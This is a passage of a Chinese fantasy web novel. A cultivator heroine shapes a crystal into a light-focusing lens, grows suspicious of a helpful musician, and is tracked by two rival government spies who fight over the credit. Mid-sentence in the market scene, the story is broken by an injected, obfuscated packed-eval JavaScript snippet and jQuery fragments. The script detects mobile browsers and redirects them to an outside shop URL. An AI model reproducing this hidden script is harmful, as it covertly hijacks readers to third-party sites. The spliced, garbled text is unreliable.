册子封皮已残破,隐约能看见“灵光”二字。
光学?这个世界也有这个概念?
她蹲下身,拿起册子翻看。里面是手抄的文字与简图,讲的是大约“灵光”与“凡光”的区别,修行者可看到“灵光”是更精纯的能量。
“这本多少钱?”她问。
书生懒洋洋抬眼:“一枚灵石。”
林疏星付了钱。祝君竹将册子收进怀中,如获至宝。
回客栈前,又去给清音买了葱油饼。二人回去已是傍晚。
清音正趴在院中石桌上打盹,听见脚步声立刻跳起来:“小姐!公子!你们可回来了!”
“等着急了?”祝君竹把葱油饼递给她笑着问。
“可不是!”清音撇嘴,十分自然的打开纸包吃起来。
“一个人闷死了。敖先生一下午没出门,也不知道在房里做什么。”
话音刚落,敖清澜的房门开了。他走出房间,手里拿着长笛,对三人微笑:“三位回来了。林姑娘,可有什么收获?”
“买了几样药材。”祝君竹道,“还有些杂书。”
“那便好。”敖清澜目光在她脸上停留片刻,“姑娘气色比上午更好了,看来疗愈效果尚可。”
“多亏先生。”祝君竹颔首。
晚饭在客栈大堂用。金鳞也在,正与几个行商喝酒谈天,见他们下来,热情招呼同桌。席间话题又转到水匪、妖族、边境局势上,吵吵嚷嚷,直到夜深才散。
祝君竹回到房间,迫不及待地点亮油灯,翻开那本光学册子。
册子只有二十几页,内容不多,但每一条都让她思绪翻腾。书中将“光”分为“灵光”(修行者可见)与“凡光”(凡人可见),认为灵光是能量的载体,凡光是能量的表象。故此沐灵光修行,可事半功倍。灵光可被“灵媒”(如灵石、符文)曲折、分散甚至存储,从而产生不同效果。
这让她想起现代的光学透镜。
如果她能制造出聚焦灵光的“透镜”,是否能将分散的能量汇聚成束,形成高能射线?就像激光那样?
这个念头一旦生出,她整个人便兴奋起来,再也压不下去。她起身在房中踱步,脑中飞速运转。直到三更天,她才勉强睡下。
翌日清晨,祝君竹顶着两个黑眼圈下楼。
林疏星已在院中等她,见她这副模样,眉头微蹙:“又整夜未眠?”
“想了些事情。”祝君竹揉揉太阳穴。
“今日我还要去市场,你用了早膳回房歇息吧。” 林疏星猜她又整夜研究阵法。
祝君竹打个哈欠:“我也去!正好我也想买些材料。”
用过饭,两人出了客栈,在摊位间缓步行走。祝君竹看得仔细,不时停下询问。她需要透光性好、能传导灵力的材料,类似玻璃或水晶,但在这个世界,这种材料往往被用于制作法器核心,价格不菲。
“姑娘想要‘透灵石’?”一个摊主听了她的需求,从箱底翻出几块拳头大小的矿石。
矿石呈淡金色,半透明,内部有天然形成的棱面。祝君竹接过一块,对着光看——透光性确实不错,但杂质较多,会影响能量传导。
“还有更好的吗?”她问。
“更好的……”摊主犹豫,“有倒是有,但价格……”
“看看无妨。”
摊主从怀中取出个锦盒,小心翼翼打开。里面是块巴掌大的晶石,无色透明,纯净无瑕,在光下折射出七彩晕光。
“这是‘空明晶’,产自极北冰川之下,百年方得一块。”摊主道,“透光性绝佳,灵力传导几乎无损。只是……要三百灵石。”
三百灵石。祝君竹倒吸一口凉气。昨日买了不少货物,他们所余不多。
“太贵了。”她摇头。
“姑娘若真心想要,二百八十灵石,不能再少了。”摊主咬牙。
祝君竹还是摇头。她转身要走,林疏星却开口:“一百五。”
摊主瞪眼:“公子说笑了!这价钱连本都回不来!”
“空明晶虽好,但未经炼制,只是胚料。”林疏星语气平静,“要制成法器,还需大师雕琢刻画,成功率不过三成。一百五十灵石,你已赚了。”
摊主脸色变幻,最终叹气:“罢了罢了,一百八,最低了。”
二人还未及回话,旁边忽然传来温润嗓音:“林姑娘可是看上了这块晶石?”
敖清澜不知何时也来到了灵市,正站在不远处,含笑看着他们。
祝君竹心头一跳。这个人怎么总是神出鬼没?
“敖先生也来逛逛?”她稳住心神。
“随便看看。”敖清澜走近,目光落在空明晶上,“确实是上品。姑娘想用它做什么?”
“用来做些小玩意儿罢了。”祝君竹含糊道。
敖清澜也不深究,从袖中取出个锦囊,递给摊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998678|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主:“一百八十灵石,我替姑娘付了。”
“这怎么行!”祝君竹急道。
“就当是答谢姑娘昨日听我讲故事。”敖清澜微笑,“一点心意,莫要推辞。”
摊主已接过锦囊清点,确认无误后,将空明晶包好递给祝君竹。祝君竹拿着晶石,看着敖清澜,心情复杂。
“先生太客气了。”她最终道。
“无妨。”敖清澜摆摆手,“对了,姑娘若对灵光有兴趣,我倒知道有本古籍,或许对你有帮助。”
祝君竹眼睛一亮:“什么古籍?”
“《灵光赋形录》。”敖清澜道,“记载了许多以灵光为基础的术法与器具制作方法。可惜原本已失传,我只见过抄本,在一位故人处。”
“那位故人现在何处?”祝君竹追问。
敖清澜看着她急切的模样,眼中掠过深意:“在东海。若姑娘有朝一日去到那里,或许能见到。”
又是东海。
祝君竹心中疑云更重。敖清澜似乎在刻意引导她关注东海,关注龙族。为什么?《灵光赋形录》,这部书似乎有些印象。一本手抄本,放在一个案头上的画面模糊不清的在脑海中呈现。
“多谢先生告知。”她压下疑虑道谢。
三人一同回到客栈时,已是午后。
祝君竹迫不及待地回房研究空明晶。她将晶石放在窗前,让阳光透射而过——光线几乎没有损耗,折射角度也符合预期。祝君竹闭目凝神,将灵力缓缓注入晶石。能量传导流畅无阻,就像电流通过超导体。瞬间,她“看”到了晶石内部的微观世界。那是无比规整的晶格结构,能量在其中流动,沿着晶格节点传播,形成稳定的场。
“完美……”。
“创造物质”这个本事,她自出了玉京山核心后就再没尝试过。
祝君竹暗自思忖:“不知道在玉京山以外,这本事能不能用。没有玉京山核心中的充盈能量场,‘创造’怕是难。自己那点灵力如杯水车薪,两位妖君的核心灵力又动不得。但是不创造,改形状该是用不了多少灵力的。”
想到这,她尝试用意识引导晶格内的能量流。起初毫无反应,她苦苦探索了一个时辰后,晶石内部传来极其轻微的“嗡”鸣,晶格结构开始缓慢重组。在灵力引导下,原子沿着特定方向位移,整体形状随之改变。
祝君竹额头渗出细汗。这过程极耗心神,她必须全程保持高度专注,稍有分神就会前功尽弃。
又过了半个时辰,她睁开眼。
掌心的空明晶已变了模样——从不规则块状,变成了一枚鸡蛋大小、两面凸起的透镜。表面光滑如镜,弧度完美,在光下泛着温润光泽。
“成功了……要什么大师雕琢?我就是大师!”她长舒一口气,浑身虚脱般瘫在椅上。塑形过程消耗了她大半灵力,此刻丹田空虚,经脉刺痛。她强撑着将透镜收好,便倒在床上,沉沉睡去。
这一睡就到了傍晚。
敲门声将她唤醒。清音在门外喊:“小姐,该用晚饭了!”
祝君竹起身,感觉精神恢复了些。她洗漱更衣,下楼来到大堂。
林疏星和敖清澜已坐在桌边。见她下来,林疏星目光在她脸上一扫:“你消耗很大。”
“嗯,做了些尝试。”祝君竹在他身边坐下。
饭菜很快上桌。今日有炎州特色的炙烤鱼、清炒时蔬、还有一盆豆腐羹。清音吃得欢快,祝君竹却没什么胃口,只喝了半碗羹。
“林姑娘似乎很疲惫。”敖清澜关切道,“可是修炼出了岔子?”
“不妨事,只是有些脱力。”祝君竹微笑道。
敖清澜从怀中取出潮音贝:“要不要再听一曲?能加速灵力恢复。”
“有劳先生。”还未待祝君竹回话,林疏星立即替她应下。
祝君竹点点头:“又要劳烦先生。家兄直率,还望先生莫放在心上。”
林疏星听了,颇有深意的看了她一眼。
饭后,四人又来到后院。暮色四合,槐树下点了盏风灯,昏黄光晕笼罩石桌。
敖清澜奏响潮音贝。
这一次的乐音与昨日不同。更舒缓,更绵长,如深海暗流,缓慢而坚定地涤荡身心。祝君竹闭目聆听,能感觉到枯竭的经脉被温和能量浸润,灵力以肉眼可见的速度恢复。
一曲终了,她睁开眼,眸中神采奕奕。
“多谢先生。”这次道谢真诚了许多。
敖清澜收起贝壳,微笑道:“姑娘恢复得快,是自身底子好。”他顿了顿,忽然问,“姑娘今日可是在炼制什么器具?”
祝君竹心头微紧。他看出来了?
“只是些小玩意。”她含糊道。
“能让姑娘耗尽灵力的小玩意,想必不简单。”敖清澜笑意加深,“不过姑娘不愿说,在下也不多问。只是提醒一句,灵光虽妙,但修炼却难。”
祝君竹悚然一惊。他连这个都知道?
“先生……何出此言?”她尽量保持平静。
“猜的。”敖清澜道,“姑娘对灵光感兴趣,又买了透光性极佳的空明晶,自然是要做与光有关的器具。结合姑娘的性格,定然不会满足于制造幻象,那么……攻击性的灵光术,便是最可能的选择。”
这番分析条理清晰,逻辑严谨。祝君竹无言以对。
林疏星忽然开口:“敖先生见识广博。”
“走的地方多了,自然知道些杂学。”敖清澜谦逊道。
气氛一时微妙。
清音左看看右看看,小声打破沉默:“那个……小姐,您做的到底是什么呀?”
祝君竹看了敖清澜一眼,见他笑容温和,并无恶意,便从怀中取出那枚透镜。
月光下,透镜泛着淡淡莹光,形制完美。
“这是……镜子?”清音凑近看,“怎么是凸的?”
“这叫透镜。”祝君竹解释,“能将光线汇聚到一点。”
她举起透镜,对准风灯。灯光透过透镜,在石桌上投下一个明亮的光斑。她调整角度,光斑逐渐缩小,最终变成一个刺眼的光点。
“如果光够强,这个点温度会很高,能点燃东西。”她道。脑中后半段的话:“当然,如果我能使用灵光,或者以后能制造灵光,这东西怕就是个激光枪了。”她没说出来
清音瞪大眼睛:“这么厉害?”
“理论上可以。”祝君竹收起透镜,“但需要极强的光源,比如阳光。”
她说着,心中却想:用灵力激发的“灵光”不知要用多少灵力?要怎样才能激发呢?这也是个问题。这个念头让她心跳加速。
“姑娘果然聪慧。”敖清澜赞叹,“不过灵光之术,古籍中虽有记载,但实施起来极难。一来灵光源难求,二来透镜承受力有限,三来瞄准不易——目标稍一移动,便会失之毫厘。”
句句说中要害。祝君竹不禁问:“先生可知破解之法?”
敖清澜沉吟片刻:“据《灵光赋形录》记载,上古有修行者创出‘定光阵’,可锁定灵光源。又有‘追魂镜’,能自动追踪目标气息。但这些阵法与法器制法都已失传,在下也只是听闻。”
定光阵,追魂镜。祝君竹默默记下这两个名字。
“多谢先生指点。”她真诚道谢。
“举手之劳。”敖清澜起身,“夜色已深,三位早些休息。”
他回房后,院中只剩下祝君竹、林疏星和清音。
清音打了个哈欠:“小姐,我也困了……”
“去睡吧。”祝君竹揉揉她的头。
清音回房后,院中只剩下两人。祝君竹把玩着透镜,忽然问林疏星:“你觉得敖先生……到底是什么人?”
林疏星沉默片刻,道:“深不可测。”
“你也这么觉得?”祝君竹看向他。
“他懂得太多,表现得太完美。”林疏星缓缓道,“一个普通的蛟人乐师,不该知道这么多龙族秘闻、上古阵法、甚至朝廷动向。”
祝君竹心头一跳:“朝廷动向?”
“昨日我注意到他与几个行商交谈。”林疏星压低声音,“那些人看似普通,但举止间有军伍痕迹,像是……边军探子。”
边军探子?敖清澜与边军有联系?
祝君竹脑中乱成一团。敖清澜的身份越来越扑朔迷离,他到底是谁?想做什么?
“我们要提防他吗?”她问。
林疏星摇头:“至少目前,他没有恶意。反而多次相助。”他顿了顿,“但防人之心不可无。你与他相处时,莫要透露太多。”
“我明白。”祝君竹点头。
两人又坐了会儿,各自回房。
这一夜,祝君竹没有睡。她坐在窗边,借着月光研究透镜,脑中不断回响敖清澜的话。
定光阵,追魂镜。如果能造出这两样东西,她的“灵光武器”就能真正成型。但阵法与法器制法都已失传……。追魂镜姑且不论。定光阵让她立即就想到了林疏星,他在阵法上的造诣显然不俗。但上次二人一起研究阵法时的尴尬犹在眼前,她也明显的觉察到林疏星这两日有意无意的疏离,这让她有些犹豫。
她忽然想起江浅月的记忆碎片。
在那些碎片中,似乎有关于阵法的内容。江浅月师从云渺真人,而云渺真人精通阵法、炼器、符文……说不定,江浅月学过相关的东西?
祝君竹闭目凝神,在记忆深处搜寻。
零碎的画面闪过:昏暗的密室,墙上刻满符文;书架上堆满古籍,封面泛黄;还有……一双苍老的手,在羊皮纸上绘制复杂的阵图。她想看得更清楚,头却开始刺痛。
“不行……不能急。”她深吸几口气,平复翻腾的记忆。
“慢慢来。既然有了方向,总能找到方法。”将至寅时,她才昏昏睡去。
接下来的一天,祝君竹几乎足不出户,在房中研究灵光。林疏星则忙着清点货物,与金鳞商议行程。清音偶尔帮忙跑腿,更多时候是在客栈里陪祝君竹,或者缠着敖清澜讲各地的风土人情。
当夜月朗星疏,祝君竹又坐在窗边摩挲着手中那枚透镜。反复思索着灵光究竟是什么。定光阵又是什么工作原理。想的心烦意乱,索性坐在床上调息吐纳。
几个周天下来,心神安定了许多。
而此时,炎州玄影监驻点,一只玄影枭落在了回廊边的架子上……
14. 第十三回:两监相争渔翁利
晨光初透时,祝君竹已在客栈房中盘膝入定。
这间名为“听风小筑”的客栈位于炎州城东,闹中取静,后院植有数丛青竹,风过时簌簌作响,确如店名所言。她选在此处落脚,便是看中这份清幽——这几日记忆融合愈发频繁,她需要安静环境调整状态。
窗棂漏进一线天光,落在她闭目的面容上。祝君竹呼吸悠长,按照林疏星传授的吐纳法门运转灵力。丹田处,两股截然不同的力量缓缓流转:一股炽烈如岩浆,带着焚尽万物的暴烈;一股冰寒如玄冰,透着冻结时空的森然。
祝君竹的意识沉入识海深处。那里不再是一片混沌,而是逐渐浮现出清晰的画面碎片:
大雪。宫墙。银甲少女横枪立马,枪尖所指,敌军溃退如潮。
那是江浅月十五岁那年,随定岳王北征苏罗的画面。她记得那一战——不,是江浅月记得。少女初上战场,便以一柄银枪连破三阵,斩敌将首级于马下。凯旋回朝时,仙帝亲封“宸月公主”,赐府邸、玉册金印。
封号“宸月”,取“北辰拱月”之意,喻其如北极星般守护北境。
记忆如潮水涌来。祝君竹眉头紧蹙,额角渗出细汗。她试图稳住心神,但那些画面太过鲜活——战场的血腥气、铠甲的冰冷触感、受封时百官朝拜的山呼、还有……兄长江倾川站在观礼台上,对她露出的骄傲笑容。
“兄长……”
她无意识呢喃出声。
丹田处,两股妖力骤然沸腾!
炽热与冰寒的能量如两条恶龙撕咬冲撞,顺着经脉逆流而上。祝君竹浑身剧震,猛地睁眼,眸中闪过一赤一蓝两道异光。她双手结印想要压制,但记忆带来的情绪波动太过强烈,灵力控制出现刹那紊乱。
“嗡——”
一股无形的能量波动以她为中心扩散开来。
房间内的物品微微震颤。桌上的茶盏叮当作响,窗纸簌簌抖动,就连墙角的影子都扭曲了一瞬。波动穿透墙壁,向四周弥漫,虽不强烈,却带着独特的“印记”——那是融合了两种极致属性妖力的灵力特征,在修行者感知中,如同黑夜中的烽火般醒目。
祝君竹脸色一白,立即收敛气息。
她扶住床沿喘息,心中警铃大作。刚才那一下泄露,虽只持续了短短三息,但足以引起有心人的注意。炎州城鱼龙混杂,玄影监的暗桩、各势力的眼线不知有多少……
“大意了。”她咬牙低语。
与此同时,客栈外两条街巷中,两道人影几乎同时抬起了头。
东街,绸缎铺旁。
一个穿着灰色短褂、相貌普通的中年汉子正在清点货箱。他动作忽然一顿,手中账本险些掉落。汉子猛地抬头,望向听风小筑方向,眼中闪过惊疑之色。
那股波动……炽热与冰寒交织的妖力,会不会跟密令中要找的人有关呢?
这灰褂汉子,乃玄影监炎州驻点三等暗探,叫“灰蛇”。他心跳骤然加速,放下账本,状若无事地整理货物,目光却死死锁定客栈方向。
自接到密令起,他和手下弟兄几乎翻遍了炎州城,却一无所获。
他深吸口气,强迫自己冷静。不能急,要确认。密令中说“两女一男”的组合,年龄相貌都有大致描述。得先摸清客栈里住着什么人。
灰蛇招手叫来铺中伙计,低声吩咐几句,自己则转身进了后堂。他需要更隐蔽的位置观察。
西巷,茶楼二层。
临窗的雅座上,一个青衣文士正在独自品茗。他约莫三十岁年纪,面容清瘦,指节修长,正拈着茶盏细嗅茶香,一派闲适风雅。
但就在灵力波动传来的瞬间,文士拈盏的手指微微一颤。
盏中清茶漾起涟漪。
这青衣文士乃是玄心监外派执事,代号“青墨”,他缓缓放下茶盏,目光投向窗外。他的感知比灰蛇更为敏锐,不仅捕捉到了双极妖力,还从中分辨出一丝极其隐晦的……熟悉气息。
那是玄心监独门秘法“锁魂印”留下的痕迹。
多年前,他奉命参与围捕江浅月。虽未直接交手,但同僚以锁魂印击中过她的肩胛。那印记一旦种下,便会融入魂魄,纵使转世轮回也难以彻底磨灭。
刚才那一闪而逝的波动中,分明有锁魂印的共鸣!
青墨眸中精光一闪。他放下茶钱,起身离座。
出了茶楼,他绕到对面巷口,找了个卖糖画的摊子驻足,余光却将听风小筑前后门尽收眼底。
两个暗探,分属不同机构,此刻却锁定了同一目标。
客栈内,祝君竹调息完毕,推门下楼。
大堂里已有几桌客人用早膳。林疏星坐在靠窗位置,面前摆着一碟包子、两碗清粥。见她下来,他抬眼看来,目光在她脸上停留一瞬。
“怎么了?”祝君竹在他对面坐下,低声问。
“你刚才灵力有波动。”林疏星将一碗粥推到她面前,“虽然很轻微,但……不太对劲。”
祝君竹心头一紧。连林疏星都察觉了,那些专门负责追踪的暗探呢?
“记忆碎片又来了。”她舀起一勺粥,声音压得更低,“没控制住,妖力泄露了一瞬。”
林疏星眉头微蹙:“以后修炼时,可提前布下个锁灵阵。”
两人正说着,清音蹦蹦跳跳从后院进来。
“小姐!公子!”她凑到桌边,眼睛亮晶晶的,
祝君竹被她感染,露出浅笑。
早膳用罢,三人来到后院。
敖清澜换了身月白竹纹长衫,在槐树下正吹奏着一支清越的曲子。乐声如溪流潺潺,带着晨露般的清新,院中竹叶随之轻摇,仿佛在应和节拍。
见三人过来,敖清澜收笛微笑:“三位早。”
林疏星道:“我们今日要去采买些货物,先生可要同去?”
敖清澜略一沉吟:“也好,我正想添置些笔墨。炎州城的‘松烟墨’颇有名气,带去天都送人也是好的。”
四人商议定,祝君竹换了身男装,一同出门。却未察觉两双眼睛如影随形。
集市上依然人声鼎沸,各类的吆喝声不绝于耳。
敖清澜遇到个卖竹丝的铺子,顿觉趣味盎然,拿起一个摆弄起来。那老板看敖清澜是个蛟人,顿觉是个大主顾,热情的介绍着她的货品,夸赞着敖清澜是行家。
祝君竹进了一个成衣铺子,看着架子上的衣物,心不在焉。
林疏星看出些端倪,上前问道:“怎么?可有不妥?”
“这几日一直这样,总有被窥视的感觉。”
清音听了撇嘴道:“小姐,怕什么。不是有公子和敖先生在嘛。况且你当年叱咤疆场,何等的英雄气概,还怕这点小场面?堂堂宸……”。清音猛地停住,自知失言,一时间不知如何是好。
成衣铺内,灰蛇透过窗缝,早就盯着祝君竹等人走了进来。当他躲在楼梯一侧听到清音的话后,心中狂喜。
“宸?这目标几乎可以确认了……”灰蛇低声自语,眼中闪过兴奋之色。这是天大的功劳!若能办成,他这三等暗探至少能连升两级,调回天都总部也未可知。
但他没有贸然行动。密令中明确要求“暗中监视,不可打草惊蛇,等候上峰进一步指令”。况且那四人中,除了目标女子,另外三人深浅不知,尤其是那个一直守在她身边的男子,履沉稳,气息内敛,恐怕不是易与之辈。况且对方行程,居住地等,他早已摸清,只需回去将消息用夜影枭传回天都,这功劳便是十拿九稳了。
另一侧,书画摊前。
青墨正装模作样地挑选字画,余光却将远处四人的一举一动尽收眼底。
他见祝君竹等人进了成衣店,便放下手中字画,选了另一条路迂回跟踪。玄心监的跟踪术讲究“如影随形,不着痕迹”,与玄影监的“融入环境,化身寻常”各有千秋。
青墨走到成衣店门口的小摊上停了下来,拿起一对盘扣端详着。眼角余光却瞟向成衣店的窗内的祝君竹。功夫不负有心人,清音的话轻轻的飘进他的耳朵。
青墨心思电转。“叱咤疆场?宸?这怕是除了那位公主,再无他人了罢。江浅月应是有什么秘密是朝廷想知道的,这场功劳的确不小。需得是快回去,放飞夜影枭传讯才是。”他抬头向窗内的祝君竹望了一眼,仿佛在欣赏着他到手的高官厚禄。
铺子里的祝君竹闻忽觉浑身恶寒,心头猛地一跳,她迅速环顾四周。成衣铺内光线稍暗,除了掌柜和两个伙计,只有零星两三位顾客在挑选布料,楼梯处空荡荡的,窗外街市喧嚣依旧,并无异常。
林疏星眼神瞬间锐利如鹰,他上前一步,看似随意地将祝君竹和清音护在身后,灵力已悄然流转周身,感知如细密的网撒向店铺内外。
“莫慌。”他声音低沉平稳,带着安抚人心的力量,“先离开这里。”
敖清澜也已放下手中的竹丝摆件,看似无意地踱步到门边,恰好挡住了大半入口。他脸上温和的笑意未减,目光却若有似无地扫过门外几个可疑的角落。
“林姑娘,清音姑娘,”他转过身,语气轻松自然,“我看那边的缎子色泽不错,要不要去瞧瞧?买些裁制新衣也好。”
祝君竹会意,压下心中翻涌的不安,牵起还有些发懵的清音,笑道:“也好。掌柜的,我们再去别处看看。”
四人状若无事地走出成衣铺,融入街上的人流。祝君竹能感觉到林疏星的警惕提到了最高,他的气息完全收敛,却像一张拉满的弓,随时可以爆发出雷霆一击。敖清澜则依旧那副闲适模样,还在一个小摊前买了包松子糖递给清音。
他们买了些必备物品,又随意地逛了片刻,便径直返回了听风小筑。
听风小筑外,东街拐角。灰蛇压抑着狂喜,远远目送四人进入客栈。他没有再靠近,而是迅速转身,朝着城西玄影监驻点的方向快步走去。脚步看似匆忙,却依旧保持着市井行商惯有的节奏,不显突兀。
“宸月公主……江浅月……这泼天的富贵,合该落在我灰蛇头上!”他心中火热,脑中已开始盘算如何措辞传讯,如何强调自己的功劳,如何确保这消息不被旁人分润。
他专挑僻静巷弄穿行,力求最快最隐蔽地返回驻地。然而,就在他拐入一条连接东西城区、行人稀少的青石板小巷时,脚步蓦地一顿。
巷子另一头,一道青色身影正不疾不徐地走来。
两人目光在空中碰撞。
灰蛇瞳孔骤缩。对面那人,青衣文士,气质清雅——玄心监的人!他怎么会在这里?这条巷子并非通往玄心监驻地的常路……
青墨同样停下脚步,面上掠过一丝讶异,随即化为深沉的警惕。玄影监的暗探!
几乎瞬间,两人都猜到了对方出现在此的目的。
怕是为了同一桩功劳!
小巷中空气陡然凝固。午后的阳光斜斜照入,将两人的影子拉得细长,在青石板上几乎要触碰到一起。
灰蛇脸上堆起一个市侩而谦卑的笑容,拱手道:“这位先生请了,小的赶着回去交账,能否行个方便?”
青墨亦回以温和浅笑,侧身让出半边道路:“兄台请。”
两人擦肩而过。
就在交错而过的刹那,灰蛇眼底凶光一闪,藏在袖中的左手无声无息地弹出三枚乌黑的细针,疾射青墨后心要穴!针尖泛着幽蓝光泽,显然淬有剧毒。
几乎同时,青墨仿佛背后长眼,身形如鬼魅般向左侧滑开半步,右手袍袖一拂,一股阴柔冰寒的劲力卷出,将三枚毒针尽数纳入袖中。他头也不回,左手并指如剑,反手点向灰蛇肋下,指风凌厉,带着刺骨寒意。
“叮叮叮!”毒针在袖中撞出轻响。
灰蛇心中一惊,知道遇上了硬茬子。他不敢硬接,腰身诡异一扭,如同无骨之蛇,险险避过那一指,同时右腿如鞭扫向青墨下盘。
青墨轻哼一声,足尖点地,身形飘然后退三尺,避开这一腿。两人瞬间分开数步,再次对峙。
“玄影监的朋友,下手未免太狠了些。”青墨袖中的毒针被他以内劲逼出,叮叮落地,他面上笑意转冷。
“彼此彼此。”灰蛇也收起了伪装,眼神阴鸷,“玄心监的人,不在衙门里审犯人,跑这小巷来作甚?”
“自然是与兄台一样,为公事奔波。”青墨淡淡道,“看来,你我盯上的是同一块肥肉。”
灰蛇咧嘴,露出森白牙齿:“肥肉虽好,也得看有没有那么大的胃口吞下。小心噎着。”
“不劳费心。”青墨指尖已有淡蓝色的冰霜气息缭绕,“这功劳,青某要定了。”
话音未落,两人同时动了!
灰蛇身形一矮,几乎贴地疾掠,双手翻飞间,无数细如牛毛的黑色飞针如同暴雨般罩向青墨,封死了他所有闪避空间。这是他苦练的“黑雨夺魂针”,以特殊手法激发,专破护体灵力,中者立毙。
青墨却不闪不避,口中低诵咒文,周身陡然腾起一层淡蓝色的冰雾护罩。“玄冰障!”飞针射入冰雾,速度骤减,针身迅速凝结冰霜,力道尽失,纷纷坠落。
趁此机会,青墨双手结印,地面青石板缝隙中骤然窜出数道冰蓝色的锁链,如毒蛇般缠向灰蛇双脚。“寒冰锁!”
灰蛇冷哼一声,双脚诡异扭动,竟似缩骨一般,从冰链缠绕的间隙中滑脱,同时袖中滑出一柄漆黑的短刃,刃身无光,却散发着令人心悸的锋锐之气。他揉身扑上,短刃划出刁钻的弧线,直取青墨咽喉。
青墨指尖冰芒凝聚,化为一柄晶莹剔透的冰剑,与短刃战在一处。
“叮叮当当!”金铁交鸣之声在小巷中密集响起,却又被两人刻意控制的灵力压制在一定范围内,未传出太远。
两人修为相当,皆在融界境初阶,一个诡诈阴狠,擅暗器近战;一个术法精妙,控冰之术出神入化。一时间斗得旗鼓相当,难分高下。小巷内冰屑纷飞,暗影幢幢,寻常人若闯入,只怕瞬间便会毙命。
灰蛇久战不下,心中焦躁。时间拖得越久,变数越大。他眼中闪过一丝狠色,卖了个破绽,肩头故意被一道冰刃擦过,鲜血顿时染红衣襟。他闷哼一声,踉跄后退,气息紊乱,露出败象。
“不过如此!”青墨见状,精神一振,冰剑攻势更疾,欲要一举拿下对手。
就在冰剑即将刺中灰蛇心口的刹那,灰蛇脸上却露出一抹狞笑。他垂下的左手猛地一扬,一蓬几乎看不见的淡灰色粉末骤然爆开,瞬间笼罩了青墨面门。
“蚀灵散!”青墨大惊,急忙闭气后撤,但仍有少许粉末吸入鼻中。顿时,他只觉灵力运转一滞,经脉传来灼痛感,眼前也微微发黑。这蚀灵散并非致命毒药,却能在短时间内极大干扰修行者的灵力运转和感知。
“卑鄙!”青墨怒斥,强行压下不适,冰剑横扫,逼退趁机扑上的灰蛇。
灰蛇得势不饶人,短刃如毒蛇吐信,招招不离青墨要害。青墨灵力受阻,动作慢了一拍,虽然勉强格挡,但左臂仍被划开一道深可见骨的口子,鲜血汩汩流出,寒气侵入伤口,让他半边身子都有些发麻。
“嘿嘿,兵不厌诈。”灰蛇得意一笑,却不恋战。他知道蚀灵散效果有限,青墨很快就能逼出,此地不宜久留。他虚晃一招,身形如烟般向后飘退,几个起落便消失在巷子尽头。
“休走!”青墨又惊又怒,急忙运功逼出体内残毒,待灵力稍复,已不见了灰蛇踪影。他看了一眼血流不止的左臂,面色阴沉如水。灰蛇定然是急着回去传讯,绝不能让他抢了先!
青墨撕下衣襟草草包扎伤口,服下一颗疗伤丹药,也顾不得完全调息,立刻朝着玄影监驻点方向追去。他知道灰蛇要去哪里。
城西,玄影监驻点。
这是一处看似普通的三进院落,门口挂着“王记货栈”的招牌,偶尔有伙计搬运货物进出,与左邻右舍并无二致。
灰蛇熟门熟路地从侧门闪入,对迎上来的伙计略一点头,径直走向后院。廊檐下,挂着几个不起眼的鸟笼,里面是几只羽毛灰黑、眼神锐利的夜影枭。这种灵禽飞行极速,目力超群,且能短距离穿透低阶防护阵法传递信息,是玄影监常用的传讯工具。
灰蛇匆匆进入一间厢房,找出特制的纸条和笔墨,略一思索,提笔疾书:“疑犯已现,炎州城东听风小筑,一女疑似江浅月,身具奇异阴阳妖力,同伴深浅不明。乞速定夺。”
他吹干墨迹,将纸条卷成细条,正欲出门取一只夜影枭绑上。
突然,后院传来几声短促凄厉的鸟鸣,随即归于寂静。
灰蛇心头一跳,暗道不好,猛地推门而出。只见廊檐下,几个鸟笼已然空空如也,地上散落着几片带血的灰黑羽毛。一道青色身影正站在院中,手中冰剑滴血,冷冷地看着他,正是青墨!
“你!”灰蛇目眦欲裂。这些夜影枭培养不易,更是他此刻传递消息的唯一依仗!
“灰蛇兄何必动怒?”青墨脸色因失血有些苍白,笑容却带着快意,“不过是几只扁毛畜生罢了。功劳嘛,一个人领,岂不更好?”
“你找死!”灰蛇暴怒,再也按捺不住,黑色短刃化作一道乌光,携着凌厉杀机直扑青墨。
青墨早有准备,冰剑迎上。两人在这小小院落中再次激战起来。这一次,双方都打出了真火,招式更加狠辣,不再留手。桌椅板凳、花盆廊柱在激荡的灵力下纷纷碎裂。
灰蛇胜在近战诡谲,身法滑溜,短刃神出鬼没。青墨则凭借精妙术法,冰锥、冰链、冰雾层出不穷,虽左臂受伤影响发挥,但一时间也未落下风。
激斗中,青墨觑准一个空隙,猛地将手中冰剑掷出,直射灰蛇面门。灰蛇挥刃格开,却见青墨双手连挥,数道阵旗从他袖中飞出,精准地插在院落四周几个特定方位。
“冰牢困龙阵,起!”青墨低喝一声,掐动法诀。
霎时间,院落地面泛起冰蓝色的光芒,无数寒气从阵旗处喷涌而出,迅速凝结成一座半透明的冰晶牢笼,将灰蛇困在其中。牢笼冰壁厚达半尺,寒气逼人,更有无数细小的冰刺在内壁生成,缓缓向内挤压。
这是玄心监常用以捕获要犯的困阵之一,一旦陷入,极难脱身。
“玄心监的杂碎!”灰蛇怒吼,短刃狠狠劈在冰壁上,只留下一道白痕。寒气顺着短刃蔓延,几乎将他手臂冻僵。
青墨看着在阵中左冲右突却徒劳无功的灰蛇,冷笑一声:“灰蛇兄,暂且在此冷静片刻吧。待青某传讯完毕,自会有人来‘接’你。” 说罢,他不再停留,转身疾步离去,他要立刻赶回玄心监驻地,用那里的夜影枭传讯!
听风小筑,二楼客房。
林疏星正独自坐在窗边小几旁饮茶,手中把玩着一枚刻画着简单聚灵符的玉坠,似在思索什么。忽然,他拈着茶杯的手指微微一顿。
一股微弱但独特的灵力波动,自城西方向传来,距离颇远,寻常融界境修士根本无从察觉。但林疏星不同,他精研阵法,对各类阵法启动时的灵力韵律异常敏感。
